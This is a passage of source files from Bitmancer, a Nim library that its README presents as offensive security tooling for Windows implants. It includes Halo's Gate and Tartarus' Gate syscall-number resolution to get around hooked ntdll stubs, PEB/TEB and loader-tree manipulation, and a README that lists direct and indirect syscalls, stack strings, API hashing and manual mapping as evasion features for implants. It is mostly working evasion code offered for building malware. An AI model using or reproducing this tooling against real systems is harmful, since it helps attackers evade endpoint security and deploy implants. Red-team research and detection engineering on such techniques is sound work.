cast[PBYTE](pFunction)[] == 0xE9: 65 | for i in 0 ..< 500: 66 | ## check neighboring syscall down 67 | if (result = checkStub(pFunction, DWORD(i * StubOffsetDown)); result.isOk()): 68 | return 69 | ## check neighboring syscall up 70 | if (result = checkStub(pFunction, DWORD(i * StubOffsetUp)); result.isOk()): 71 | return 72 | 73 | proc halosGateEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult = 74 | let pFunc = ? getProcAddress(imageBase, ident) 75 | halosGateParse(pFunc) 76 | 77 | proc halosGateIat*(imageBase, importBase: ModuleHandle, ident: SomeThunkedIdent): SyscallResult = 78 | let pFunc = ? getProcAddressEx(imageBase, importBase, ident) 79 | halosGateParse(pFunc) 80 | 81 | template halosGate*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult = 82 | when symEnum is UseEAT: halosGateEat(imageBase, ident) 83 | elif symEnum is UseIAT: halosGateIat(imageBase, ident) 84 | 85 | ## Tartarus' Gate 86 | ##------------------------------------ 87 | func tartarusGateParse(pFunction: PVOID): SyscallResult = 88 | if (result = halosGateParse(pFunction); result.isOk()): 89 | return 90 | ## if hooked after `mov r10, rcx`, check the neighborhood to find clean syscall 91 | if cast[PBYTE](pFunction +! 3)[] == 0xE9: 92 | for i in 0 ..< 500: 93 | ## check neighboring syscall down 94 | if (result = checkStub(pFunction, DWORD(i * StubOffsetDown)); result.isOk()): 95 | return 96 | ## check neighboring syscall up 97 | if (result = checkStub(pFunction, DWORD(i * StubOffsetUp)); result.isOk()): 98 | return 99 | 100 | proc tartarusGateEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult = 101 | let pFunc = ? getProcAddress(imageBase, ident) 102 | tartarusGateParse(pFunc) 103 | 104 | proc tartarusGateIat*(imageBase, importBase: ModuleHandle, ident: SomeThunkedIdent): SyscallResult = 105 | let pFunc = ? getProcAddressEx(imageBase, importBase, ident) 106 | tartarusGateParse(pFunc) 107 | 108 | template tartarusGate*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult = 109 | when symEnum is UseEAT: tartarusGateEat(imageBase, ident) 110 | elif symEnum is UseIAT: tartarusGateIat(imageBase, ident) 111 | 112 | -------------------------------------------------------------------------------- /src/Bitmancer/core/types/apiset.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | 21 | import 22 | base 23 | 24 | export 25 | base 26 | 27 | ## Api Set Types 28 | ##------------------------------------------------------------------------ 29 | const 30 | 31 | ## Api Schemas 32 | ##------------------------------------ 33 | API_SET_SCHEMA_VERSION_V6* = 0x00000006 34 | API_SET_SCHEMA_VERSION_V4* = 0x00000004 35 | API_SET_SCHEMA_VERSION_V3* = 0x00000003 36 | API_SET_SCHEMA_VERSION_V2* = 0x00000002 37 | 38 | API_SET_SCHEMA_FLAGS_SEALED* = 0x00000001 39 | API_SET_SCHEMA_FLAGS_HOST_EXTENSION* = 0x00000002 40 | API_SET_SCHEMA_ENTRY_FLAGS_SEALED* = 0x00000001 41 | API_SET_SCHEMA_ENTRY_FLAGS_EXTENSION* = 0x00000002 42 | 43 | type 44 | ## API Sets 45 | ##------------------------------------ 46 | API_SET_NAMESPACE* {.pure.} = object 47 | Version*: ULONG 48 | PAPI_SET_NAMESPACE* = ptr API_SET_NAMESPACE 49 | 50 | ## API Set Version 6 | Windows 10 51 | ##------------------------------------ 52 | API_SET_VALUE_ENTRY_V6* {.pure.} = object 53 | Flags*: ULONG 54 | NameOffset*: ULONG 55 | NameLength*: ULONG 56 | ValueOffset*: ULONG 57 | ValueLength*: ULONG 58 | PAPI_SET_VALUE_ENTRY_V6* = ptr API_SET_VALUE_ENTRY_V6 59 | 60 | API_SET_HASH_ENTRY_V6* {.pure.} = object 61 | Hash*: ULONG 62 | Index*: ULONG 63 | PAPI_SET_HASH_ENTRY_V6* = ptr API_SET_HASH_ENTRY_V6 64 | 65 | API_SET_NAMESPACE_ENTRY_V6* {.pure.} = object 66 | Flags*: ULONG 67 | NameOffset*: ULONG 68 | NameLength*: ULONG 69 | HashedLength*: ULONG 70 | ValueOffset*: ULONG 71 | ValueCount*: ULONG 72 | PAPI_SET_NAMESPACE_ENTRY_V6* = ptr API_SET_NAMESPACE_ENTRY_V6 73 | 74 | API_SET_NAMESPACE_V6* {.pure.} = object 75 | Version*: ULONG 76 | Size*: ULONG 77 | Flags*: ULONG 78 | Count*: ULONG 79 | EntryOffset*: ULONG 80 | HashOffset*: ULONG 81 | HashFactor*: ULONG 82 | PAPI_SET_NAMESPACE_V6* = ptr API_SET_NAMESPACE_V6 83 | 84 | ## API Set Version 4 | Windows 8.1 85 | ##------------------------------------ 86 | API_SET_VALUE_ENTRY_V4* {.pure.} = object 87 | Flags*: ULONG 88 | NameOffset*: ULONG 89 | NameLength*: ULONG 90 | ValueOffset*: ULONG 91 | ValueLength*: ULONG 92 | PAPI_SET_VALUE_ENTRY_V4* = ptr API_SET_VALUE_ENTRY_V4 93 | 94 | API_SET_VALUE_ARRAY_V4* {.pure.} = object 95 | Flags*: ULONG 96 | Count*: ULONG 97 | Array*: array[ANYSIZE_ARRAY, API_SET_VALUE_ENTRY_V4] 98 | PAPI_SET_VALUE_ARRAY_V4* = ptr API_SET_VALUE_ARRAY_V4 99 | 100 | API_SET_NAMESPACE_ENTRY_V4* {.pure.} = object 101 | Flags*: ULONG 102 | NameOffset*: ULONG 103 | NameLength*: ULONG 104 | AliasOffset*: ULONG 105 | AliasLength*: ULONG 106 | DataOffset*: ULONG 107 | PAPI_SET_NAMESPACE_ENTRY_V4* = ptr API_SET_NAMESPACE_ENTRY_V4 108 | 109 | API_SET_NAMESPACE_ARRAY_V4* {.pure.} = object 110 | Version*: ULONG 111 | Size*: ULONG 112 | Flags*: ULONG 113 | Count*: ULONG 114 | Array*: array[ANYSIZE_ARRAY, API_SET_NAMESPACE_ENTRY_V4] 115 | PAPI_SET_NAMESPACE_ARRAY_V4* = ptr API_SET_NAMESPACE_ARRAY_V4 116 | 117 | ## API Set Version 3 | Windows 8 118 | ##------------------------------------ 119 | API_SET_VALUE_ENTRY_V3* {.pure.} = object 120 | NameOffset*: ULONG 121 | NameLength*: ULONG 122 | ValueOffset*: ULONG 123 | ValueLength*: ULONG 124 | PAPI_SET_VALUE_ENTRY_V3* = ptr API_SET_VALUE_ENTRY_V3 125 | 126 | API_SET_VALUE_ARRAY_V3* {.pure.} = object 127 | Count*: ULONG 128 | Array*: array[ANYSIZE_ARRAY, API_SET_VALUE_ENTRY_V3] 129 | PAPI_SET_VALUE_ARRAY_V3* = ptr API_SET_VALUE_ARRAY_V3 130 | 131 | API_SET_NAMESPACE_ENTRY_V3* {.pure.} = object 132 | NameOffset*: ULONG 133 | NameLength*: ULONG 134 | DataOffset*: ULONG 135 | PAPI_SET_NAMESPACE_ENTRY_V3* = ptr API_SET_NAMESPACE_ENTRY_V3 136 | 137 | API_SET_NAMESPACE_ARRAY_V3* {.pure.} = object 138 | Version*: ULONG 139 | Count*: ULONG 140 | Array*: array[ANYSIZE_ARRAY, API_SET_NAMESPACE_ENTRY_V3] 141 | PAPI_SET_NAMESPACE_ARRAY_V3* = ptr API_SET_NAMESPACE_ARRAY_V3 142 | 143 | 144 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Bitmancer 2 | Bitmancer is a library for Offensive Security Tooling development for the Windows operating system written in Nim. It aims to provide common APIs, routines, and macros with highly configurable, position-independent, standalone implementations. 3 | 4 | If you're looking to develop an Implant, test a quick PoC, or write a brand new shiny tool - Bitmancer can help you get started! 5 | 6 | :warning: This repository is currently a massive WIP! There may be issues using it and there are no gaurantees of stability for the time being. :warning: 7 | 8 | ## Dependencies 9 | Bitmancer partially uses [winim](https://github.com/khchen/winim) for its types. To install, run: 10 | 11 | `nimble install winim` 12 | 13 | ## Installation 14 | Bitmancer is not yet part of the nimble repository. For the timebeing, you can install it from Github by simply running: 15 | 16 | `nimble install https://github.com/zimawhit3/Bitmancer` 17 | 18 | ## Compiling 19 | MingW and Nim will introduce dependencies on MSVCRT and Kernel32, as well as global variables used by Nim's System module. If you want to avoid these for position independent code, use the provided nim.cfg. 20 | 21 | To compile: 22 | `nim c -d:mingw ` 23 | 24 | ## Usage 25 | For all modules: 26 | ```nim 27 | import Bitmancer 28 | ``` 29 | If you need don't need NTDLL routines or syscalls, you can simply use: 30 | ```nim 31 | import Bitmancer/core 32 | ``` 33 | 34 | For just the hashing procedures: 35 | ```nim 36 | import Bitmancer/core/obfuscation/hash 37 | ``` 38 | 39 | ## Current TODOs: 40 | * [ ] Compile Time defines simplified (YAML?) 41 | * [ ] CI/CD 42 | * [ ] Examples 43 | * [ ] Documentation 44 | * [x] Larger compile-time Hash Seed 45 | * [ ] Tests! 46 | 47 | ## Features 48 | ### Currently supported features: 49 | * ApiSet Name Resolving 50 | * Common APIs (GetProcAddress, GetModuleHandle, GetSystemTime, etc..) 51 | * Hashing 52 | * Compile Time 53 | * Run Time 54 | * Manual Mapper 55 | * From Disk 56 | * From Memory :construction: 57 | * DLLs :construction: 58 | * COFFs :construction: 59 | * NTDLL 60 | * Nt* Syscalls 61 | * Rtl* procedures 62 | * NTLoader Database 63 | * Linked Lists (LDR_DATA_TABLE_ENTRY) 64 | * Red Black Trees (RTL_BALANCED_NODE) 65 | * Portable Executable parsing and utilities 66 | * SSN Enumeration 67 | * [Hell's Gate](https://github.com/am0nsec/HellsGate) 68 | * [Halo's Gate](https://sektor7.net/#!res/2021/halosgate.md) 69 | * [Tartarus' Gate](https://github.com/trickster0/TartarusGate) 70 | * [LdrThunkSignatures](https://github.com/mdsecactivebreach/ParallelSyscalls/) 71 | * ZwCounter 72 | * Stack Strings 73 | * Syscall Evasion Techniques 74 | * Direct Syscalls 75 | * Indirect Syscalls 76 | 77 | ### Future Features I'm aiming to support: 78 | * [ ] Anti-Debug Routines and Utilities 79 | * [ ] Encryption 80 | * [ ] Exception Handling 81 | * [ ] Callbacks 82 | * [ ] Instrumented 83 | * [ ] Native 84 | * [ ] VEH 85 | * [ ] Hooking Routines and Utilities 86 | * [ ] More NTDLL Wrappers 87 | * [ ] Sleep Evasion Techniques 88 | * [ ] [Death Sleep](https://github.com/janoglezcampos/DeathSleep) 89 | * [ ] [CreateTimerQueueTimer](https://github.com/Cracked5pider/Ekko) 90 | * [ ] Stack Spoofing 91 | * [ ] Syscall Evasion Techniques 92 | * [ ] [Tamper](https://github.com/rad9800/TamperingSyscalls) 93 | * [ ] x86 Support 94 | 95 | If there's a feature/technique you would like implemented, let me know! 96 | 97 | ## Examples 98 | Stack Strings: 99 | ```nim 100 | var wStr {.stackStringW.} = "Hello!" 101 | var cStr {.stackStringA.} = "World!" 102 | ``` 103 | 104 | If you're looking to generate a wrapper around a syscall not currently available, the basic flow is as follows: 105 | ```nim 106 | ## Import syscalls 107 | import Bitmancer/syscalls 108 | 109 | ## For hashing 110 | import Bitmancer/core/obfuscation/hash 111 | 112 | ## Define your type 113 | type NtClose = proc(h: HANDLE): NTSTATUS {.stdcall, gcsafe.} 114 | 115 | ## Generate the wrapper 116 | genSyscall(NtClose) 117 | 118 | ## Define configurations for how to retrieve and execute the syscall 119 | 120 | ## The procedure's symbol enumeration method - available options are: 121 | ## UseEAT - use the export address table to resolve the symbol 122 | ## UseIAT - use the import address table to resolve the symbol 123 | ## UseLdrThunks - use the NTLoader's LdrThunkSignatures to map a clean NTDLL to resolve symbols from 124 | const symEnum = SymbolEnumeration.UseEAT 125 | 126 | ## The SSN enumeration method - available options are: 127 | ## HellsGate 128 | ## HalosGate 129 | ## TartarusGate 130 | ## ZwCounter 131 | const ssnEnum = SsnEnumeration.HellsGate 132 | 133 | ## Finally, the execution method - available options are: 134 | ## Direct - use the direct syscall stub 135 | ## Indirect - use the indirect syscall stub 136 | const exeEnum = SyscallExecution.Indirect 137 | 138 | ## Define an ident to use to identify the symbol 139 | const NtCloseHash = ctDjb2 "NtClose" 140 | 141 | ## Retrive NTDLL 142 | let Ntdll = ? NTDLL_BASE() 143 | 144 | ## Call ctGetNtSyscall, retrieving the NtSyscall object containing the SSN, pointer to the address of the function 145 | ## and a casted stub to your type. 146 | let NtSyscall = ctGetNtSyscall[NtClose](Ntdll, ModuleHandle(NULL), NtCloseHash, symEnum, ssnEnum, exeEnum) 147 | 148 | ## Finally, call the wrapper! 149 | NtCloseWrapper(h, NtSyscall.wSyscall, NtSyscall.pSyscall, NtSyscall.pFunction) 150 | ``` 151 | See the [runShellCode example](./examples/runShellcode.nim) for a complete example. 152 | More examples can also be found in [ntdll](./Bitmancer/ntdll/). 153 | -------------------------------------------------------------------------------- /src/Bitmancer/core/pebteb.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | intrinsics, ntresult, types, utils 22 | 23 | export 24 | ntresult, types 25 | 26 | const 27 | TEB_OFFSET_64 = 0x30 28 | TEB_OFFSET_32 = 0x18 29 | PEB_OFFSET_64 = 0x60 30 | PEB_OFFSET_32 = 0x30 31 | KUSER_SHARED_DATA_ADDRESS = 0x7FFE0000 32 | 33 | template NT_RESULT*(status: NTSTATUS, body: untyped): Result[type(body), NtError] = 34 | if status >= 0: 35 | when body is void: 36 | ok() 37 | else: 38 | var t = body 39 | ok t 40 | else: 41 | err SyscallFailure 42 | 43 | func ntCurrentTeb*(): PTEB {.inline, codeGenDecl: "__forceinline $# $#$#".} = 44 | when defined(cpu64): cast[PTEB](readgsqword(TEB_OFFSET_64)) 45 | elif defined(i386): cast[PTEB](readfsdword(TEB_OFFSET_32)) 46 | 47 | func ntCurrentPeb*(): PPEB {.inline, codeGenDecl: "__forceinline $# $#$#".} = 48 | when defined(cpu64): cast[PPEB](readgsqword(PEB_OFFSET_64)) 49 | elif defined(i386): cast[PPEB](readfsdword(PEB_OFFSET_32)) 50 | 51 | func ntKUserSharedData*(): PKUSER_SHARED_DATA {.inline.} = 52 | cast[PKUSER_SHARED_DATA](KUSER_SHARED_DATA_ADDRESS) 53 | 54 | func rtlProcessHeap*(): HANDLE {.inline.} = 55 | cast[HANDLE](ntCurrentPeb().ProcessHeap) 56 | 57 | template rtlCurrentProcess*(): HANDLE = 58 | HANDLE(-1) 59 | 60 | func getApiSet*(): PAPI_SET_NAMESPACE {.inline.} = 61 | ntCurrentPeb().ApiSetMap 62 | 63 | func getProcessId*(): UINT_PTR {.inline.} = 64 | cast[UINT_PTR](ntCurrentTeb().ClientId.UniqueProcess) 65 | 66 | func getStackBase*(): PVOID {.inline.} = 67 | ntCurrentTeb().NtTib.StackBase 68 | 69 | func getStackLimit*(): PVOID {.inline.} = 70 | ntCurrentTeb().NtTib.StackLimit 71 | 72 | func getThreadId*(): UINT_PTR {.inline.} = 73 | cast[UINT_PTR](ntCurrentTeb().ClientId.UniqueThread) 74 | 75 | func getTickCount*(): ULONGLONG {.inline.} = 76 | let kusd = ntKUserSharedData() 77 | cast[ULONGLONG]((cast[uint64](kusd.Union3.TickCount) * cast[uint64](kusd.TickCountMultiplier)) shr 0x18) 78 | 79 | func getSystemTime*(): PLARGE_INTEGER {.inline.} = 80 | cast[PLARGE_INTEGER](addr ntKUserSharedData().SystemTime) 81 | 82 | func getLoaderLock*(): PRTL_CRITICAL_SECTION {.inline.} = 83 | ntCurrentPeb().LoaderLock 84 | 85 | func getPebFastLock*(): PRTL_CRITICAL_SECTION {.inline.} = 86 | ntCurrentPeb().FastPebLock 87 | 88 | func getOSBuildNumber*(): USHORT {.inline.} = 89 | ntCurrentPeb().OSBuildNumber 90 | 91 | func getOSMajorVersion*(): ULONG {.inline.} = 92 | ntCurrentPeb().OSMajorVersion 93 | 94 | func getOSMinorVersion*(): ULONG {.inline.} = 95 | ntCurrentPeb().OSMinorVersion 96 | 97 | ## LDR_DATA_TABLE_ENTRY Bit Fields 98 | ##------------------------------------------------------------------------ 99 | const 100 | PackagedBinary* = 0 101 | MarkedForRemoval* = 1 102 | ImageDll* = 2 103 | LoadNotificationSent* = 3 104 | TelemetryEntryProcessed* = 4 105 | ProcessStaticImport* = 5 106 | InLegacyLists* = 6 107 | InIndexes* = 7 108 | ShimDll* = 8 109 | InExceptionTable* = 9 110 | ReservedFlags1* = 10 111 | LoadInProgress* = 12 112 | LoadConfigProcessed* = 13 113 | EntryProcessed* = 14 114 | ProtectDelayLoad* = 15 115 | ReservedFlags3* = 16 116 | DontCallForThreads* = 18 117 | ProcessAttachCalled* = 19 118 | ProcessAttachFailed* = 20 119 | CorDeferredValidate* = 21 120 | CorImage* = 22 121 | DontRelocate* = 23 122 | CorILOnly* = 24 123 | ChpeImage* = 25 124 | ChpeEmulatorImage* = 26 125 | ReservedFlags5* = 27 126 | Redirected* = 28 127 | ReservedFlags6* = 29 128 | CompatDatabaseProcessed* = 31 129 | 130 | func setBit*(entry: PLDR_DATA_TABLE_ENTRY, bit: Natural) {.inline.} = 131 | type T = type(entry.Union_2.Flags) 132 | let mask = 1.T shl bit 133 | entry.Union_2.Flags |= mask 134 | 135 | func clearBit*(entry: PLDR_DATA_TABLE_ENTRY, bit: Natural) {.inline.} = 136 | type T = type(entry.Union_2.Flags) 137 | let mask = 1.T 138 | entry.Union_2.Flags &= not mask 139 | 140 | func isSet*(entry: PLDR_DATA_TABLE_ENTRY, bit: Natural): bool {.inline.} = 141 | type T = type(entry.Union_2.Flags) 142 | ((entry.Union_2.Flags shr bit) and 1.T) != 0 143 | 144 | -------------------------------------------------------------------------------- /src/Bitmancer/core/types/pe.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | base 22 | export 23 | base 24 | 25 | type 26 | DllMain* = proc(hinstDLL: HINSTANCE, fdwReason: DWORD, lpReserved: LPVOID): BOOL {.stdcall, gcsafe.} 27 | 28 | ## Import Directory 29 | ##----------------------------------------------- 30 | type 31 | IMAGE_FIXUP_ENTRY* {.pure.} = object 32 | Offset* {.bitsize: 12.}: WORD 33 | Type* {.bitsize: 4.}: WORD 34 | PIMAGE_FIXUP_ENTRY* = ptr IMAGE_FIXUP_ENTRY 35 | 36 | ## Load Config Directory 37 | ##----------------------------------------------- 38 | when defined(cpu64): 39 | const 40 | SECURITY_COOKIE_INITIAL* = 0x00002B992DDFA232 41 | 42 | else: 43 | const 44 | SECURITY_COOKIE_INITIAL* = 0xBB40E64E 45 | 46 | const 47 | SECURITY_COOKIE_16BIT_INITIAL* = 0xBB40 48 | 49 | type 50 | IMAGE_LOAD_CONFIG_CODE_INTEGRITY* {.pure.} = object 51 | Flags*: USHORT 52 | Catalog*: USHORT 53 | CatalogOffset*: uint32 54 | Reserved*: uint32 55 | 56 | when defined(cpu64): 57 | type 58 | IMAGE_LOAD_CONFIG_DIRECTORY64* {.pure.} = object 59 | Size*: DWORD 60 | TimeDateStamp*: DWORD 61 | MajorVersion*: WORD 62 | MinorVersion*: WORD 63 | GlobalFlagsClear*: DWORD 64 | GlobalFlagsSet*: DWORD 65 | CriticalSectionDefaultTimeout*: DWORD 66 | DeCommitFreeBlockThreshold*: ULONGLONG 67 | DeCommitTotalFreeThreshold*: ULONGLONG 68 | LockPrefixTable*: ULONGLONG 69 | MaximumAllocationSize*: ULONGLONG 70 | VirtualMemoryThreshold*: ULONGLONG 71 | ProcessAffinityMask*: ULONGLONG 72 | ProcessHeapFlags*: DWORD 73 | CSDVersion*: WORD 74 | DependentLoadFlags*: WORD 75 | EditList*: ULONGLONG 76 | SecurityCookie*: ULONGLONG 77 | SEHandlerTable*: ULONGLONG 78 | SEHandlerCount*: ULONGLONG 79 | GuardCFCheckFunctionPointer*: ULONGLONG 80 | GuardCFDispatchFunctionPointer*: ULONGLONG 81 | GuardCFFunctionTable*: ULONGLONG 82 | GuardCFFunctionCount*: ULONGLONG 83 | GuardFlags*: DWORD 84 | CodeIntegrity*: IMAGE_LOAD_CONFIG_CODE_INTEGRITY 85 | GuardAddressTakenIatEntryTable*: ULONGLONG 86 | GuardAddressTakenIatEntryCount*: ULONGLONG 87 | GuardLongJumpTargetTable*: ULONGLONG 88 | GuardLongJumpTargetCount*: ULONGLONG 89 | DynamicValueRelocTable*: ULONGLONG 90 | CHPEMetadataPointer*: ULONGLONG 91 | GuardRFFailureRoutine*: ULONGLONG 92 | GuardRFFailureRoutineFunctionPointer*: ULONGLONG 93 | DynamicValueRelocTableOffset*: DWORD 94 | DynamicValueRelocTableSection*: WORD 95 | Reserved2*: WORD 96 | GuardRFVerifyStackPointerFunctionPointer*: ULONGLONG 97 | HotPatchTableOffset*: DWORD 98 | Reserved3*: DWORD 99 | EnclaveConfigurationPointer*: ULONGLONG 100 | VolatileMetadataPointer*: ULONGLONG 101 | GuardEHContinuationTable*: ULONGLONG 102 | GuardEHContinuationCount*: ULONGLONG 103 | GuardXFGCheckFunctionPointer*: ULONGLONG 104 | GuardXFGDispatchFunctionPointer*: ULONGLONG 105 | GuardXFGTableDispatchFunctionPointer*: ULONGLONG 106 | CastGuardOsDeterminedFailureMode*: ULONGLONG 107 | GuardMemcpyFunctionPointer*: ULONGLONG 108 | PIMAGE_LOAD_CONFIG_DIRECTORY64* = ptr IMAGE_LOAD_CONFIG_DIRECTORY64 109 | PIMAGE_LOAD_CONFIG_DIRECTORY* = PIMAGE_LOAD_CONFIG_DIRECTORY64 110 | else: 111 | ## TODO 112 | 113 | 114 | 115 | 116 | 117 | 118 | -------------------------------------------------------------------------------- /src/Bitmancer/rtl/rb.nim: -------------------------------------------------------------------------------- 1 | ##--------------------------------------------------------------------- 2 | ## Bitmancer - a library for Offensive Security Development 3 | ## 4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com) 5 | ## 6 | ## This program is free software: you can redistribute it and/or modify 7 | ## it under the terms of the GNU General Public License as published by 8 | ## the Free Software Foundation, either version 3 of the License, or 9 | ## (at your option) any later version. 10 | ## 11 | ## This program is distributed in the hope that it will be useful, 12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | ## GNU General Public License for more details. 15 | ## 16 | ## You should have received a copy of the GNU General Public License 17 | ## along with this program. If not, see . 18 | ## 19 | ##---------------------------------------------------------------------------------- 20 | import 21 | ../core/obfuscation/hash, 22 | ../core 23 | 24 | export 25 | core 26 | 27 | ## Hashes 28 | ##--------------------------------------------------------------------- 29 | const 30 | RtlRbInsertNodeExHash* = ctDjb2 "RtlRbInsertNodeEx" 31 | RtlRbRemoveNodeHash* = ctDjb2 "RtlRbRemoveNode" 32 | 33 | ## RtlRbInsertNodeEx 34 | ##------------------------------------ 35 | proc getRtlRbInsertNodeEx*(Ntdll: ModuleHandle): NtResult[RtlRbInsertNodeEx] {.inline.} = 36 | let f = ? getProcAddress(Ntdll, RtlRbInsertNodeExHash) 37 | ok cast[RtlRbInsertNodeEx](f) 38 | 39 | proc rtlRbInsertNodeEx*( 40 | pRtlRbTree: PRTL_RB_TREE, 41 | parent: PRTL_BALANCED_NODE, 42 | bRight: BOOLEAN, 43 | node: PRTL_BALANCED_NODE 44 | ): NtResult[void] = 45 | let 46 | Ntdll = ? NTDLL_BASE() 47 | pRtlRbInsertNodeEx = ? getRtlRbInsertNodeEx Ntdll 48 | pRtlRbInsertNodeEx(pRtlRbTree, parent, bRight, node) 49 | ok() 50 | 51 | ## RtlRbRemoveNode 52 | ##------------------------------------ 53 | proc getRtlRbRemoveNode*(Ntdll: ModuleHandle): NtResult[RtlRbRemoveNode] {.inline.} = 54 | let f = ? getProcAddress(Ntdll, RtlRbRemoveNodeHash) 55 | ok cast[RtlRbRemoveNode](f) 56 | 57 | proc rtlRbRemoveNode*(pRtlRbTree: PRTL_RB_TREE, node: PRTL_BALANCED_NODE): NtResult[void] = 58 | let 59 | Ntdll = ? NTDLL_BASE() 60 | pRtlRbRemoveNode = ? getRtlRbRemoveNode Ntdll 61 | pRtlRbRemoveNode(pRtlRbTree, node) 62 | ok() 63 | 64 | ## Rtl*BaseAddressIndex 65 | ##------------------------------------ 66 | proc rtlInsertNodeBaseAddressIndex*(imageEntry: PLDR_DATA_TABLE_ENTRY): NtResult[void] = 67 | let 68 | BaseAddressIndex = ? getBaseAddressIndexTree() 69 | BaseNodeOffset = offsetOf(LDR_DATA_TABLE_ENTRY, BaseAddressIndexNode) 70 | var 71 | bRight = BOOLEAN(FALSE) 72 | LdrEntry = cast[PLDR_DATA_TABLE_ENTRY](cast[int](BaseAddressIndex) -% BaseNodeOffset) 73 | 74 | while true: 75 | if imageEntry.DLLBase < LdrEntry.DllBase: 76 | if CHILD_ENTRY_LEFT(LdrEntry.BaseAddressIndexNode).isNil(): 77 | break 78 | LdrEntry = ENTRY_NEXT_NODE_LEFT(LdrEntry.BaseAddressIndexNode, BaseNodeOffset) 79 | 80 | elif imageEntry.DLLBase > LdrEntry.DllBase: 81 | if CHILD_ENTRY_RIGHT(LdrEntry.BaseAddressIndexNode).isNil(): 82 | bRight = TRUE 83 | break 84 | LdrEntry = ENTRY_NEXT_NODE_RIGHT(LdrEntry.BaseAddressIndexNode, BaseNodeOffset) 85 | 86 | else: 87 | ## Already in the tree, inc the ref count 88 | inc LdrEntry.DdagNode.LoadCount 89 | return ok() 90 | rtlRbInsertNodeEx(BaseAddressIndex, addr LdrEntry.BaseAddressIndexNode, bRight, addr imageEntry.BaseAddressIndexNode) 91 | 92 | proc rtlRemoveNodeBaseAddressIndex*(imageEntry: PLDR_DATA_TABLE_ENTRY): NtResult[void] = 93 | let BaseAddressIndex = ? getBaseAddressIndexTree() 94 | rtlRbRemoveNode(BaseAddressIndex, addr imageEntry.BaseAddressIndexNode) 95 | 96 | ## Rtl*MappingInfoIndex 97 | ##------------------------------------ 98 | proc rtlInsertNodeMappingInfoIndex*(imageEntry: PLDR_DATA_TABLE_ENTRY): NtResult[void] = 99 | let 100 | MappingInfoIndex = ? getMappingInfoIndexTree() 101 | NtHeaders = ? imageNtHeader imageEntry.DLLBase.ModuleHandle 102 | TimeStamp = NtHeaders.FileHeader.TimeDateStamp 103 | MappingNodeOffset = offsetOf(LDR_DATA_TABLE_ENTRY, MappingInfoIndexNode) 104 | var 105 | bRight = BOOLEAN(FALSE) 106 | LdrEntry = cast[PLDR_DATA_TABLE_ENTRY](cast[int](MappingInfoIndex) -% MappingNodeOffset) 107 | 108 | while true: 109 | if TimeStamp <=% LdrEntry.TimeDateStamp and 110 | (TimeStamp != LdrEntry.TimeDateStamp or NtHeaders.OptionalHeader.SizeOfImage <= LdrEntry.SizeOfImage): 111 | if CHILD_ENTRY_LEFT(LdrEntry.MappingInfoIndexNode).isNil(): 112 | break 113 | LdrEntry = ENTRY_NEXT_NODE_LEFT(LdrEntry.MappingInfoIndexNode, MappingNodeOffset) 114 | 115 | elif TimeStamp >=% LdrEntry.TimeDateStamp and 116 | (TimeStamp != LdrEntry.TimeDateStamp or NtHeaders.OptionalHeader.SizeOfImage >= LdrEntry.SizeOfImage): 117 | if CHILD_ENTRY_RIGHT(LdrEntry.MappingInfoIndexNode).isNil(): 118 | bRight = TRUE 119 | break 120 | LdrEntry = ENTRY_NEXT_NODE_RIGHT(LdrEntry.MappingInfoIndexNode, MappingNodeOffset) 121 | 122 | else: 123 | ## Already in the tree, inc the ref count 124 | inc LdrEntry.DdagNode.LoadCount 125 | return ok() 126 | rtlRbInsertNodeEx(MappingInfoIndex, addr LdrEntry.MappingInfoIndexNode, bRight, addr imageEntry.MappingInfoIndexNode) 127 | 128 | proc rtlRemoveNodeMappingInfoIndex*(imageEntry: PLDR_DATA_TABLE_ENTRY): NtResult[void] {.discardable.} = 129 | let 